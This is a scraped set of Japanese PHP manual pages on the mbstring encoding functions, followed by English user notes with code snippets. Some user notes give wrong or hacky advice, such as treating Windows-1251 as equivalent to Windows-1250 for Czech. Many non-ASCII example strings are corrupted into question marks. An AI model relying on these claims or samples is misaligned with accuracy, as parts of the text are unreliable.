UTF-16LE solution for CSV for Excel by Eugene Murai works well:
$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');

However, then Excel on Mac OS X doesn't identify columns properly and its puts each whole row in its own cell. In order to fix that, use TAB "\\t" character as CSV delimiter rather than comma or colon.

You may also want to use HTTP encoding header, such as
header( "Content-type: application/vnd.ms-excel; charset=UTF-16LE" );
14-Aug-2005 07:24
get the string octet-size, when mbstring.func_overload is set to 2 :

<?php
function str_sizeof($string) {
    return count(preg_split("`.`", $string)) - 1 ;
}
?>

answering to peter albertsson, once you got your data octet-size, you can access each octet with something
$string[0] ... $string[$size-1], since the [ operator doesn't complies with multibytes strings.
peter dot albertsson at spray dot se 21-May-2005 03:43
Setting mbstring.func_overload = 2 may break your applications that deal with binary data.

After having set mbstring.func_overload = 2 and  mbstring.internal_encoding = UTF-8 I can't even read a binary file and print/echo it to output without corrupting it.
nzkiwi at NOSPAMmte dot biglobe dot ne dot jp 13-Apr-2005 04:37
A friend has pointed out that the entry
"mbstring.http_input PHP_INI_ALL" in Table 1 on the mbstring page appears to be wrong: above Example 4 it says that "There is no way to control HTTP input character conversion from PHP script. To disable HTTP input character conversion, it has to be done in php.ini".
Also the table shows the old-PHP-version defaults:
;; Disable HTTP Input conversion
mbstring.http_input = pass  *BUT* (for PHP 4.3.0 or higher)
;; Disable HTTP Input conversion
mbstring.encoding_translation = Off
Eugene Murai 23-Feb-2005 10:20
PHP can input and output Unicode, but a little different from what Microsoft means: when Microsoft says "Unicode", it unexplicitly means little-endian UTF-16 with BOM(FF FE = chr(255).chr(254)), whereas PHP's "UTF-16" means big-endian with BOM. For this reason, PHP does not seem to be able to output Unicode CSV file for Microsoft Excel. Solving this problem is quite simple: just put BOM infront of UTF-16LE string.

Example:

$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');


文字列が、指定したエンコーディングで有効なものかどうかを調べる

  • ≪ マルチバイト文字列 関数
  • mb_chr ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列が、指定したエンコーディングで有効なものかどうかを調べる

mb_check_encoding

(PHP 4 >= 4.4.3, PHP 5 >= 5.1.3, PHP 7, PHP 8)

mb_check_encoding — 文字列が、指定したエンコーディングで有効なものかどうかを調べる

説明

mb_check_encoding ( array|string|null $value = null , string|null $encoding = null ) : bool

そのバイトストリームが指定したエンコーディングで有効なものかどうかを調べます。 value が配列の場合、全てのキーと値が再帰的に調べられます。 これは、いわゆる「不正なエンコーディングによる攻撃」を防ぐのに役立ちます。

パラメータ

value

調べるバイトストリーム または array。省略した場合は、 リクエスト開始時からのすべての入力が対象となります。

encoding

期待するエンコーディング。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | value と encoding は、nullable になりました。
7.2.0 | この関数は、value に配列を受け入れるようになりました。 このバージョンより前では、文字列のみがサポートされていました。

User Contributed Notes

dorbah NOSPAM at rambler [dot] ru 29-Jun-2018 10:30
For useful function added by jbricci at ya-right dot com

<?php
function checkEncoding ( $string, $string_encoding )
{
    $fs = $string_encoding == 'UTF-8' ? 'UTF-32' : $string_encoding;
    $ts = $string_encoding == 'UTF-32' ? 'UTF-8' : $string_encoding;

    return $string === mb_convert_encoding ( mb_convert_encoding ( $string, $fs, $ts ), $ts, $fs );
}
?>

I've made a function that is guessing the codepage:
<?php
function detectEncoding($string)
{
    $arr_encodings = [
        'CP1251',
        'UCS-2LE',
        'UCS-2BE',
        'UTF-8',
        'UTF-16',
        'UTF-16BE',
        'UTF-16LE',
        'CP866',
    ];

    foreach($arr_encodings as $encoding){
        if (checkEncoding($string, $encoding)){
            return $encoding;
        }
    }

    return false;
}
?>
Riikka K 05-May-2014 02:37
To get more information about how this function validates UTF-8, I ran some tests on PHP 5.5.10, PHP 5.4.24 and PHP 5.3.28. It seems that the function detects valid and invalid byte sequences correctly according to UTF-8 and the Unicode specifications, except for one issue:

in PHP 5.3.28, the function allows code points above U+10FFFF, which also allows five and six byte sequences. The later versions have corrected this issue.

Other than that, each version works correctly. Overlong encodings, surrogates, any lone bytes above 0x80 and too short byte sequences are all considered invalid. All valid code points in Unicode are considered valid when encoded with correct number of bytes (including Astral planes, i.e. four byte squences below U+10FFFF).

mb_detect_encoding() provided similar results with strict parameter enabled (except for PHP 5.3.28, in which it performed worse than mb_check_encoding())
eyecatchup at gmail dot com 17-Dec-2013 06:18
Unlike other comments suggest, there's no need to serialize a string to use preg_match's "u" modifier for testing if a string is valid UTF-8. You can just use
<?php
function is_utf8($str) {
    return (bool) preg_match('//u', $str);
}
Stefan W 30-Jul-2013 11:45
Note that the algorithm in javalc6's comment checks UTF-8 compliance by the letter of the specs.

This means that overlong byte sequences will pass. For example: 0xC0 0xAF can be used to encode U+002F, the slash character. While legal, this character is more properly encoded as 0x2F. Overlong sequences are unnecessary and should be avoided; they have been - and still are - used in various attacks (like directory traversal attacks).

It also means that high Unicode characters outside the Basic Multilingual Plane will pass; this means characters above U+FFFF, composed of 4+ bytes (hieroglyhps, cuneiform, etc). You need to decide if you want those characters or not. If you do, be aware that they often cause compatibility problems (for example with JSON and some databases).

mb_check_encoding(), mb_detect_encoding(x, y, TRUE), and the other comments up to now all reject characters outside the BMP and overlong sequences.
CertaiN 19-Jul-2013 08:13
For supporting non-scalar variables,

<?php
function validate_utf8($input) {
    return (bool)preg_match('//u', serialize($input));
}
CertaiN 19-Jul-2013 08:07
The best way to validate UTF-8 sequence.
This works for not only scalar, but also array and object recursively.

<?php

function is_valid_utf8($text) {
    return (bool)preg_match('//u', serialize($text));
}

?>
javalc6 at gmail dot com 24-Dec-2009 04:52
In order to check if a string is encoded correctly in utf-8, I suggest the following function, that implements the RFC3629 better than mb_check_encoding():

<?php
function check_utf8($str) {
    $len = strlen($str);
    for($i = 0; $i < $len; $i++){
        $c = ord($str[$i]);
        if ($c > 128) {
            if (($c > 247)) return false;
            elseif ($c > 239) $bytes = 4;
            elseif ($c > 223) $bytes = 3;
            elseif ($c > 191) $bytes = 2;
            else return false;
            if (($i + $bytes) > $len) return false;
            while ($bytes > 1) {
                $i++;
                $b = ord($str[$i]);
                if ($b < 128 || $b > 191) return false;
                $bytes--;
            }
        }
    }
    return true;
} // end of check_utf8
?>
jbricci at ya-right dot com 01-Mar-2009 06:52
This function does not check for bad byte sequence(s), it only checks if the byte stream is valid. If you want to verify a encoded string is valid, (IE: does not contain any bad byte sequences do the following...

<?php

/* check a strings encoded value */

function checkEncoding ( $string, $string_encoding )
{
    $fs = $string_encoding == 'UTF-8' ? 'UTF-32' : $string_encoding;

    $ts = $string_encoding == 'UTF-32' ? 'UTF-8' : $string_encoding;

    return $string === mb_convert_encoding ( mb_convert_encoding ( $string, $fs, $ts ), $ts, $fs );
}

/* test 1 variables */

$string = "\x00\x81";

$encoding = "Shift_JIS";

/* test 1 mb_check_encoding (test for bad byte stream) */

if ( true === mb_check_encoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte stream!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte stream!<br />';
}

/* test 1 checkEncoding (test for bad byte sequence(s)) */

if ( true === checkEncoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte sequence!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte sequence!<br />';
}

/* test 2 */

/* test 2 variables */

$string = "\x00\xE3";

$encoding = "UTF-8";

/* test 2 mb_check_encoding (test for bad byte stream) */

if ( true === mb_check_encoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte stream!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte stream!<br />';
}

/* test 2 checkEncoding (test for bad byte sequence(s)) */

if ( true === checkEncoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte sequence!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte sequence!<br />';
}

?>


特定の文字を取得する

  • ≪ mb_check_encoding
  • mb_convert_case ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 特定の文字を取得する

mb_chr

(PHP 7 >= 7.2.0, PHP 8)

mb_chr — 特定の文字を取得する

説明

mb_chr ( int $codepoint , string|null $encoding = null ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

codepoint

encoding

返り値

特定の文字を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • mb_ord() - 文字のコードポイントを取得する
  • chr() - 数値から、1バイトの文字列を生成する

User Contributed Notes

boss3333 at laposte dot net 20-Apr-2019 02:43
To convert the utf16 or utf8 decimal values (utf-8 can translate both encodings) to ascii characters using mb_ord, follow these steps:

Starting value:

1_Zvpxs4pf

Value converted to decimal value utf-16 or utf-8 (see ascii coding table):

49,95,90,118,112,120,115,52,112,102

recovery with mb_ord:

use: $ char = mb_chr ($ decimalValue, 'UTF-8');
return the correct character;

1, _, Z, v, p, x, s, 4, p, f

example:
$ start_String = 1_Zvpxs4pf;
$ start_String_to_Decimal = 49959011811212011552112102;
(decimal value of each character add in an array);
$ tab = [49, 95, 90, 118, 112, 120, 115, 52, 112, 102];
$ size = sizeof ($ tab);

$ tmpStr = '';

for ($ i = 0; $ i <$ size; $ i ++)
{
$ tmpStr. = mb_chr ($ tab [$ i], 'UTF-8');
}

echo $ tmpStr;

1_Zvpxs4pf


文字列に対してケースフォールディングを行う

  • ≪ mb_chr
  • mb_convert_encoding ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列に対してケースフォールディングを行う

mb_convert_case

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_convert_case — 文字列に対してケースフォールディングを行う

説明

mb_convert_case ( string $string , int $mode , string|null $encoding = null ) : string

mode で指定された方法で string に対してケースフォールディングを行います。

パラメータ

string

変換される文字列。

mode

変換モード。以下のうちいずれかひとつです。 MB_CASE_UPPER, MB_CASE_LOWER, MB_CASE_TITLE, MB_CASE_FOLD, MB_CASE_UPPER_SIMPLE, MB_CASE_LOWER_SIMPLE, MB_CASE_TITLE_SIMPLE, MB_CASE_FOLD_SIMPLE

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

mode で指定された方法で string に対してケースフォールディングを行った結果を返します。

Unicode

標準のケースフォールディング関数である strtolower() や strtoupper() と違い、ケースフォールディングは Unicode 文字属性を基準に行われます。したがって、この関数の挙動は ロケールの設定に影響されず、また、すべてのアルファベット、 例えば A ウムラウト (A) を変換することができます。

Unicode 文字属性についての詳細は » http://www.unicode.org/reports/tr21/ を参照してください。

変更履歴

バージョン | 説明
7.3.0 | mode に MB_CASE_FOLD, MB_CASE_UPPER_SIMPLE, MB_CASE_LOWER_SIMPLE, MB_CASE_TITLE_SIMPLE, MB_CASE_FOLD_SIMPLE のサポートが追加されました。

例

例1 mb_convert_case() の例

<?php
$str = "mary had a Little lamb and she loved it so";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // Prints Mary Had A Little Lamb And She Loved It So
?>

例2 非ラテン UTF-8 テキストでの mb_convert_case() の例

<?php
$str = "Τ?χιστη αλ?πηξ βαφ?? ψημ?νη γη, δρασκελ?ζει υπ?ρ νωθρο? κυν??";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // 結果は Τ?ΧΙΣΤΗ ΑΛ?ΠΗΞ ΒΑΦ?Σ ΨΗΜ?ΝΗ ΓΗ, ΔΡΑΣΚΕΛ?ΖΕΙ ΥΠ?Ρ ΝΩΘΡΟ? ΚΥΝ?Σ
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // 結果は Τ?χιστη Αλ?πηξ Βαφ?σ Ψημ?νη Γη, Δρασκελ?ζει Υπ?ρ Νωθρο? Κυν?σ
?>

参考

  • mb_strtolower() - 文字列を小文字にする
  • mb_strtoupper() - 文字列を大文字にする
  • strtolower() - 文字列を小文字にする
  • strtoupper() - 文字列を大文字にする
  • ucfirst() - 文字列の最初の文字を大文字にする
  • ucwords() - 文字列の各単語の最初の文字を大文字にする

User Contributed Notes

alNzy 05-Mar-2020 08:29
You can use this function to fix problems related to Turkish "?", "I", "i", "?" characters. This function also replaces the weird "i?" character with regular "i" character ("i? => i").

function mb_convert_case_tr($str, $type, $encoding = "UTF-8")
{

  switch ($type) {
    case "u":
    case "upper":
    case MB_CASE_UPPER:
      $type = MB_CASE_UPPER;
      break;
    case "l":
    case "lower":
    case MB_CASE_LOWER:
      $type = MB_CASE_LOWER;
      break;
    case "t":
    case "title":
    case MB_CASE_TITLE:
      $type = MB_CASE_TITLE;
      break;
  }

  $str = str_replace("i", "?", $str);
  $str = str_replace("I", "?", $str);

  $str = mb_convert_case($str, $type, $encoding);
  $str = str_replace("i?", "i", $str);

  return $str;
}
tavhane at gmail dot com 24-Mar-2018 08:46
for turkish simple:

$str = mb_convert_case(str_replace(['i','I'], ['?','?'], $str), MB_CASE_TITLE,"UTF-8");
webenformasyon at gmail dot com 18-Mar-2018 09:32
for turkish language I => i  and i => I conversion is a problem. It must be I => ? and i => ? so my simple solution is

    public function title_case_turkish($str){

        $str = str_replace("i", "?", $str);
        $str = str_replace("I", "?", $str);

        $str = mb_convert_case($str, MB_CASE_TITLE,"UTF-8");

        return $str;

    }
dave at wp dot pl 20-Jul-2016 12:51
MB_CASE_TITLE doesn't change letters in quotation marks.

Example:
mb_convert_case('AAA "aaa"', MB_CASE_TITLE);
// Result: Aaa "aaa"
cataphract at php dot net 26-Jul-2010 11:06
This is a variation of mb_convert_case that works only for UTF-8 strings and that will not convert to lowercase anything.

This avoids turning "AAA aaa" into "Aaa Aaa"; it maps "AAA aaa" into ""AAA Aaa" instead.

<?php
function mb_convert_case_utf8_variation($s) {
    $arr = preg_split("//u", $s, -1, PREG_SPLIT_NO_EMPTY);
    $result = "";
    $mode = false;
    foreach ($arr as $char) {
        $res = preg_match(
            '/\\p{Mn}|\\p{Me}|\\p{Cf}|\\p{Lm}|\\p{Sk}|\\p{Lu}|\\p{Ll}|'.
            '\\p{Lt}|\\p{Sk}|\\p{Cs}/u', $char) == 1;
        if ($mode) {
            if (!$res)
                $mode = false;
        }
        elseif ($res) {
            $mode = true;
            $char = mb_convert_case($char, MB_CASE_TITLE, "UTF-8");
        }
        $result .= $char;
    }

    return $result;
}
?>
agash at freemail dot hu 19-Jul-2009 03:27
as the previouly posted version of this function doesn't handle UTF-8 characters, I simply tried to replace ucfirst to mb_convert_case, but then any previous case foldings were lost while looping through delimiters.
So I decided to do an mb_convert_case on the input string (it also deals with words is uppercase wich may also be problematic when doing case-sensitive search), and do the rest of checking after that.

As with mb_convert_case, words are capitalized, I also added lowercase convertion for the exceptions, but, for the above mentioned reason, I left ucfirst unchanged.

Now it works fine for utf-8 strings as well, except for string delimiters followed by an UTF-8 character ("Mcadam" is unchanged, while "mcdunno's" is converted to "McDunno's" and "okros-TOTH eDUa" in also put in the correct form)

I use it for checking user input on names and addresses, so exceptions list contains some hungarian words too.

<?php

function titleCase($string, $delimiters = array(" ", "-", ".", "'", "O'", "Mc"), $exceptions = array("ut", "u", "s", "es", "utca", "ter", "krt", "korut", "setany", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX", "X", "XI", "XII", "XIII", "XIV", "XV", "XVI", "XVII", "XVIII", "XIX", "XX", "XXI", "XXII", "XXIII", "XXIV", "XXV", "XXVI", "XXVII", "XXVIII", "XXIX", "XXX" )) {
       /*
        * Exceptions in lower case are words you don't want converted
        * Exceptions all in upper case are any words you don't want converted to title case
        *   but should be converted to upper case, e.g.:
        *   king henry viii or king henry Viii should be King Henry VIII
        */
        $string = mb_convert_case($string, MB_CASE_TITLE, "UTF-8");

       foreach ($delimiters as $dlnr => $delimiter){
               $words = explode($delimiter, $string);
               $newwords = array();
               foreach ($words as $wordnr => $word){

                       if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = mb_strtoupper($word, "UTF-8");
                       }
                       elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = mb_strtolower($word, "UTF-8");
                       }

                       elseif (!in_array($word, $exceptions) ){
                               // convert to uppercase (non-utf8 only)

                               $word = ucfirst($word);

                       }
                       array_push($newwords, $word);
               }
               $string = join($delimiter, $newwords);
       }//foreach
       return $string;
}

?>
the at psychoticneurotic dot com 08-Apr-2009 10:03
Building upon Justin's and Alex's work...

This function allows you to specify which delimiter(s) to explode on (not just the default space). Now you can correctly capitalize Irish names and hyphenated words (if you want)!

<?php
function titleCase($string, $delimiters = array(" ", "-", "O'"), $exceptions = array("to", "a", "the", "of", "by", "and", "with", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX", "X")) {
       /*
        * Exceptions in lower case are words you don't want converted
        * Exceptions all in upper case are any words you don't want converted to title case
        *   but should be converted to upper case, e.g.:
        *   king henry viii or king henry Viii should be King Henry VIII
        */
       foreach ($delimiters as $delimiter){
               $words = explode($delimiter, $string);
               $newwords = array();
               foreach ($words as $word){
                       if (in_array(strtoupper($word), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = strtoupper($word);
                       } elseif (!in_array($word, $exceptions)){
                               // convert to uppercase
                               $word = ucfirst($word);
                       }
                       array_push($newwords, $word);
               }
               $string = join($delimiter, $newwords);
       }
       return $string;
}
?>
info at yasarnet dot com 03-Jul-2008 11:57
For my case following did the work to capitalize UTF-8 encoded string.

function capitalize($str, $encoding = 'UTF-8') {
    return mb_strtoupper(mb_substr($str, 0, 1, $encoding), $encoding) . mb_strtolower(mb_substr($str, 1, mb_strlen($str), $encoding), $encoding);
}
Rasa Ravi at tantrajoga dot cz 30-Apr-2005 01:36
For CZECH characters:
<?php
$text = mb_convert_case($text, MB_CASE_LOWER, "Windows-1251");
?>
The right encoding Windows-1250 is not valid (see the list mb_list_encodings), but Windows-1251 will do the same 100%. The function strtolower() ignores czech characters with diacritics.


文字エンコーディングを変換する

  • ≪ mb_convert_case
  • mb_convert_kana ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字エンコーディングを変換する

mb_convert_encoding

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_convert_encoding — 文字エンコーディングを変換する

説明

mb_convert_encoding ( array|string $string , string $to_encoding , array|string|null $from_encoding = null ) : array|string|false

文字列 string の文字エンコーディングを、 オプションで指定した from_encoding から to_encoding に変換します。 string が配列の場合、それに含まれる全ての文字列型の値が再帰的に変換されます。

パラメータ

string

変換する string または array

to_encoding

string の変換後の文字エンコーディング。

from_encoding

変換前の文字エンコーディング名を指定します。 これは、配列またはカンマ区切りの文字列とすることが可能です。 from_encoding を指定しなかった場合は、内部文字エンコーディングを使用します。

サポートされる文字エンコーディングを参照ください。

返り値

成功時に、変換後の文字列または配列を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | from_encoding は、nullable になりました。
7.2.0 | この関数は、 string に 配列を受け入れるようになりました。 これより前のバージョンでは、文字列のみがサポートされていました。

例

例1 mb_convert_encoding() の例

<?php
/* 内部文字エンコーディングからSJISに変換 */
$str = mb_convert_encoding($str, "SJIS");

/* EUC-JPからUTF-7に変換 */
$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");

/* JIS, eucjp-win, sjis-winの順番で自動検出し、UCS-2LEに変換 */
$str = mb_convert_encoding($str, "UCS-2LE", "JIS, eucjp-win, sjis-win");

/* "auto" は、"ASCII,JIS,UTF-8,EUC-JP,SJIS" に展開される */
$str = mb_convert_encoding($str, "EUC-JP", "auto");
?>

参考

  • mb_detect_order() - 文字エンコーディング検出順序を設定あるいは取得する

User Contributed Notes

vasiliauskas dot agnius at gmail dot com 17-Jul-2018 08:16
When you need to convert from HTML-ENTITIES, but your UTF-8 string is partially broken (not all chars in UTF-8) - in this case passing string to mb_convert_encoding($string, 'UTF-8', 'HTML-ENTITIES'); - corrupts chars in string even more. In this case you need to replace html entities gradually to preserve character good encoding. I wrote such closure for this job :
<?php
$decode_entities = function($string) {
        preg_match_all("/&#?\w+;/", $string, $entities, PREG_SET_ORDER);
        $entities = array_unique(array_column($entities, 0));
        foreach ($entities as $entity) {
            $decoded = mb_convert_encoding($entity, 'UTF-8', 'HTML-ENTITIES');
            $string = str_replace($entity, $decoded, $string);
        }
        return $string;
    };
?>
nicole 28-Dec-2015 12:37
// convert UTF8 to DOS = CP850
//
// $utf8_text=UTF8-Formatted text;
// $dos=CP850-Formatted text;

// have fun

$dos = mb_convert_encoding($utf8_text, "CP850", mb_detect_encoding($utf8_text, "UTF-8, CP850, ISO-8859-15", true));
Daniel 17-Nov-2015 04:25
If you are attempting to convert "UTF-8" text to "ISO-8859-1" and the result is always returning in "ASCII", place the following line of code before the mb_convert_encoding:

mb_detect_order(array('UTF-8', 'ISO-8859-1'));

It is necessary to force a specific search order for the conversion to work
jackycms at outlook dot com 19-Jul-2014 02:48
// mb_convert_encoding($input,'UTF-8','windows-874');  error : Illegal character encoding specified
// so convert Thai to UTF-8 is better use iconv instead

<?php

iconv("windows-874","UTF-8",$input);

?>
DanielAbbey at Hotmail dot co dot uk 05-Mar-2014 04:30
When using the Windows Notepad text editor, it is important to note that when you select 'Save As' there is an Encoding selection dropdown. The default encoding is set to ANSI, with the other two options being Unicode and UTF-8. Since most text on the web is in UTF-8 format it could prove vital to save the .txt file with this encoding, since this function does not work on ANSI-encoded text.
josip at cubrad dot com 27-Jun-2013 11:24
For my last project I needed to convert several CSV files from Windows-1250 to UTF-8, and after several days of searching around I found a function that is partially solved my problem, but it still has not transformed all the characters. So I made ??this:

function w1250_to_utf8($text) {
    // map based on:
    // http://konfiguracja.c0.pl/iso02vscp1250en.html
    // http://konfiguracja.c0.pl/webpl/index_en.html#examp
    // http://www.htmlentities.com/html/entities/
    $map = array(
        chr(0x8A) => chr(0xA9),
        chr(0x8C) => chr(0xA6),
        chr(0x8D) => chr(0xAB),
        chr(0x8E) => chr(0xAE),
        chr(0x8F) => chr(0xAC),
        chr(0x9C) => chr(0xB6),
        chr(0x9D) => chr(0xBB),
        chr(0xA1) => chr(0xB7),
        chr(0xA5) => chr(0xA1),
        chr(0xBC) => chr(0xA5),
        chr(0x9F) => chr(0xBC),
        chr(0xB9) => chr(0xB1),
        chr(0x9A) => chr(0xB9),
        chr(0xBE) => chr(0xB5),
        chr(0x9E) => chr(0xBE),
        chr(0x80) => '&euro;',
        chr(0x82) => '&sbquo;',
        chr(0x84) => '&bdquo;',
        chr(0x85) => '&hellip;',
        chr(0x86) => '&dagger;',
        chr(0x87) => '&Dagger;',
        chr(0x89) => '&permil;',
        chr(0x8B) => '&lsaquo;',
        chr(0x91) => '&lsquo;',
        chr(0x92) => '&rsquo;',
        chr(0x93) => '&ldquo;',
        chr(0x94) => '&rdquo;',
        chr(0x95) => '&bull;',
        chr(0x96) => '&ndash;',
        chr(0x97) => '&mdash;',
        chr(0x99) => '&trade;',
        chr(0x9B) => '&rsquo;',
        chr(0xA6) => '&brvbar;',
        chr(0xA9) => '&copy;',
        chr(0xAB) => '&laquo;',
        chr(0xAE) => '&reg;',
        chr(0xB1) => '&plusmn;',
        chr(0xB5) => '&micro;',
        chr(0xB6) => '&para;',
        chr(0xB7) => '&middot;',
        chr(0xBB) => '&raquo;',
    );
    return html_entity_decode(mb_convert_encoding(strtr($text, $map), 'UTF-8', 'ISO-8859-2'), ENT_QUOTES, 'UTF-8');
}
urko at wegetit dot eu 11-Sep-2012 06:17
If you are trying to generate a CSV (with extended chars) to be opened at Exel for Mac, the only that worked for me was:
<?php mb_convert_encoding( $CSV, 'Windows-1252', 'UTF-8'); ?>

I also tried this:

<?php
//Separado OK, chars MAL
iconv('MACINTOSH', 'UTF8', $CSV);
//Separado MAL, chars OK
chr(255).chr(254).mb_convert_encoding( $CSV, 'UCS-2LE', 'UTF-8');
?>

But the first one didn't show extended chars correctly, and the second one, did't separe fields correctly
qdb at kukmara dot ru 07-Nov-2011 07:44
mb_substr and probably several other functions works faster in ucs-2 than in utf-8. and utf-16 works slower than utf-8. here is test, ucs-2 is near 50 times faster than utf-8, and utf-16 is near 6 times slower than utf-8 here:
<?php
header('Content-Type: text/html; CHARSET=shift-jis');
mb_internal_encoding('utf-8');

$s='укгез??ш?хз?х?шк2049??лдябчсячмииюсит.июб?рарэ'
.'лдэфв??у?й?уй??у034928348539857?шаыдларораш??рлоавы';
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;

$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo$a.'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

echo'<br>';
$s=mb_convert_encoding($s,'UCS-2','utf8');
mb_internal_encoding('UCS-2');
$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo mb_convert_encoding($a,'utf8','ucs2').'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

echo'<br>';
$s=mb_convert_encoding($s,'utf-16','ucs-2');
mb_internal_encoding('utf-16');
$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo mb_convert_encoding($a,'utf8','utf-16').'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

?>
output:
?х. 12416. 1.71738100052
?х. 12416. 0.0211279392242
?х. 12416. 11.2330229282
gullevek at gullevek dot org 25-Aug-2010 12:27
If you want to convert japanese to ISO-2022-JP it is highly recommended to use ISO-2022-JP-MS as the target encoding instead. This includes the extended character set and avoids ? in the text. For example the often used "1 in a circle" ① will be correctly converted then.
regrunge at hotmail dot it 14-May-2010 08:00
I've been trying to find the charset of a norwegian (with a lot of o, a, a) txt file written on a Mac, i've found it in this way:

<?php
$text = "A strange string to pass, maybe with some o, a, a characters.";

foreach(mb_list_encodings() as $chr){
        echo mb_convert_encoding($text, 'UTF-8', $chr)." : ".$chr."<br>";
 }
?>

The line that looks good, gives you the encoding it was written in.

Hope can help someone
Daniel Trebbien 23-Jul-2009 11:25
Note that `mb_convert_encoding($val, 'HTML-ENTITIES')` does not escape '\'', '"', '<', '>', or '&'.
me at gsnedders dot com 18-Jun-2009 03:06
It appears that when dealing with an unknown "from encoding" the function will both throw an E_WARNING and proceed to convert the string from ISO-8859-1 to the "to encoding".
chzhang at gmail dot com 05-Jan-2009 12:34
instead of ini_set(), you can try this

mb_substitute_character("none");
francois at bonzon point com 10-Nov-2008 05:05
aaron, to discard unsupported characters instead of printing a ?, you might as well simply set the configuration directive:

mbstring.substitute_character = "none"

in your php.ini. Be sure to include the quotes around none. Or at run-time with

<?php
ini_set('mbstring.substitute_character', "none");
?>
aaron at aarongough dot com 07-Nov-2008 08:24
My solution below was slightly incorrect, so here is the correct version (I posted at the end of a long day, never a good idea!)

Again, this is a quick and dirty solution to stop mb_convert_encoding from filling your string with question marks whenever it encounters an illegal character for the target encoding.

<?php
function convert_to ( $source, $target_encoding )
    {
    // detect the character encoding of the incoming file
    $encoding = mb_detect_encoding( $source, "auto" );

    // escape all of the question marks so we can remove artifacts from
    // the unicode conversion process
    $target = str_replace( "?", "[question_mark]", $source );

    // convert the string to the target encoding
    $target = mb_convert_encoding( $target, $target_encoding, $encoding);

    // remove any question marks that have been introduced because of illegal characters
    $target = str_replace( "?", "", $target );

    // replace the token string "[question_mark]" with the symbol "?"
    $target = str_replace( "[question_mark]", "?", $target );

    return $target;
    }
?>

Hope this helps someone! (Admins should feel free to delete my previous, incorrect, post for clarity)
-A
Edward 16-Sep-2008 03:54
If mb_convert_encoding doesn't work for you, and iconv gives you a headache, you might be interested in this free class I found. It can convert almost any charset to almost any other charset. I think it's wonderful and I wish I had found it earlier. It would have saved me tons of headache.

I use it as a fail-safe, in case mb_convert_encoding is not installed. Download it from http://mikolajj.republika.pl/

This is not my own library, so technically it's not spamming, right? ;)

Hope this helps.
StigC 13-Aug-2008 03:38
For the php-noobs (like me) - working with flash and php.

Here's a simple snippet of code that worked great for me, getting php to show special Danish characters, from a Flash email form:

<?php
// Name Escape
$escName = mb_convert_encoding($_POST["Name"], "ISO-8859-1", "UTF-8");

// message escape
$escMessage = mb_convert_encoding($_POST["Message"], "ISO-8859-1", "UTF-8");

// Headers.. and so on...
?>
nospam at nihonbunka dot com 15-May-2008 06:51
rodrigo at bb2 dot co dot jp wrote that inconv works better than mb_convert_encoding, I find that when converting from uft8 to shift_jis
$conv_str = mb_convert_encoding($str,$toCS,$fromCS);
works while
$conv_str = iconv($fromCS,$toCS.'//IGNORE',$str);
removes tildes from $str.
katzlbtjunk at hotmail dot com 25-Jan-2008 04:36
Clean a string for use as filename by simply replacing all unwanted characters with underscore (ASCII converts to 7bit). It removes slightly more chars than necessary. Hope its useful.

$fileName = 'Test:!"$%&/()=OAUoau<<';
echo strtr(mb_convert_encoding($fileName,'ASCII'),
    ' ,;:?*#!§$%&/(){}<>=`´|\\\'"',
    '____________________________');
rodrigo at bb2 dot co dot jp 15-Jan-2008 03:47
For those who can´t use mb_convert_encoding() to convert from one charset to another as a metter of lower version of php, try iconv().

I had this problem converting to japanese charset:

$txt=mb_convert_encoding($txt,'SJIS',$this->encode);

And I could fix it by using this:

